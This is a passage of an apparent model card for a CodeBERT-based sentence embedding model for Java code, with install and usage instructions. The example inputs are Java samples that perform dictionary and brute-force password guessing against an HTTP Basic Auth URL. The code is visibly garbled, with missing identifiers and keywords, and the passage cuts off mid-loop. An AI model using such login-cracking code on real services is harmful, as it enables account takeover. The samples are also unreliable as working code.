It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more. ## Model Details ### Model Description - **Model Type:** Sentence Transformer - **Base model:** [microsoft/codebert-base](https://huggingface.co/microsoft/codebert-base) - **Maximum Sequence Length:** 512 tokens - **Output Dimensionality:** 768 dimensions - **Similarity Function:** Cosine Similarity ### Model Sources - **Documentation:** [Sentence Transformers Documentation](https://sbert.net) - **Repository:** [Sentence Transformers on GitHub](https://github.com/UKPLab/sentence-transformers) - **Hugging Face:** [Sentence Transformers on Hugging Face](https://huggingface.co/models?library=sentence-transformers) ### Full Model Architecture ``` SentenceTransformer( (0): Transformer({'max_seq_length': 512, 'do_lower_case': False}) with Transformer model: RobertaModel (1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True}) ) ``` ## Usage ### Direct Usage (Sentence Transformers) First install the Sentence Transformers library: ```bash pip install -U sentence-transformers ``` Then you can load this model and run inference. ```python from sentence_transformers import SentenceTransformer # Download from the 🤗 Hub model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERT-ST") # Run inference sentences = [ '\nimport java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary\n{\n private String myUsername = "";\n private String myPassword = "";\n private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2";\n\n\n public static void main (String args[])\n {\n Dictionary d = new Dictionary();\n }\n\n public Dictionary()\n {\n generatePassword();\n }\n\n \n\n public void generatePassword()\n {\n try\n {\n BufferedReader = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n \n {\n myPassword = bf.readLine();\n crackPassword(myPassword);\n } while (myPassword != null);\n }\n catch(IOException e)\n { }\n }\n\n\n \n\n public void crackPassword(String passwordToCrack)\n {\n String data, dataToEncode, encodedData;\n\n try\n {\n URL url = new URL (urlToCrack);\n\n \n\n dataToEncode = myUsername + ":" + passwordToCrack;\n\n \n\n encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes());\n\n URLConnection urlCon = url.openConnection();\n urlCon.setRequestProperty ("Authorization", " " + encodedData);\n\n InputStream is = (InputStream)urlCon.getInputStream();\n InputStreamReader isr = new InputStreamReader(is);\n BufferedReader bf = new BufferedReader (isr);\n\n \n {\n data = bf.readLine();\n System.out.println(data);\n displayPassword(passwordToCrack);\n } while (data != null);\n }\n catch (IOException e)\n { }\n }\n\n\n public void displayPassword(String foundPassword)\n {\n System.out.println("\\nThe cracked password is : " + foundPassword);\n System.exit(0);\n }\n}\n\n\n', '\nimport java.io.*;\n\npublic class PasswordFile {\n \n private String strFilepath;\n private String strCurrWord;\n private File fWordFile;\n private BufferedReader in;\n \n \n public PasswordFile(String filepath) {\n strFilepath = filepath;\n try {\n fWordFile = new File(strFilepath);\n in = new BufferedReader(new FileReader(fWordFile));\n }\n catch(Exception e)\n {\n System.out.println("Could not open file " + strFilepath);\n }\n }\n \n String getPassword() {\n return strCurrWord;\n }\n \n String getNextPassword() {\n try {\n strCurrWord = in.readLine();\n \n \n \n }\n catch (Exception e)\n {\n \n return null;\n }\n \n return strCurrWord;\n }\n \n}\n', '\n\n\nimport java.misc.BASE64Encoder;\nimport java.misc.BASE64Decoder;\n\nimport java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\npublic class BruteForce {\n \n static char [] passwordDataSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".toCharArray();\n \n private int indices[] = {0,0,0};\n \n private String url = null;\n\n \n public BruteForce(String url) {\n this.url = url;\n\n }\n \n private int attempts = 0;\n private boolean stopGen = false;\n \n public String getNextPassword(){\n String nextPassword = "";\n for(int i = 0;
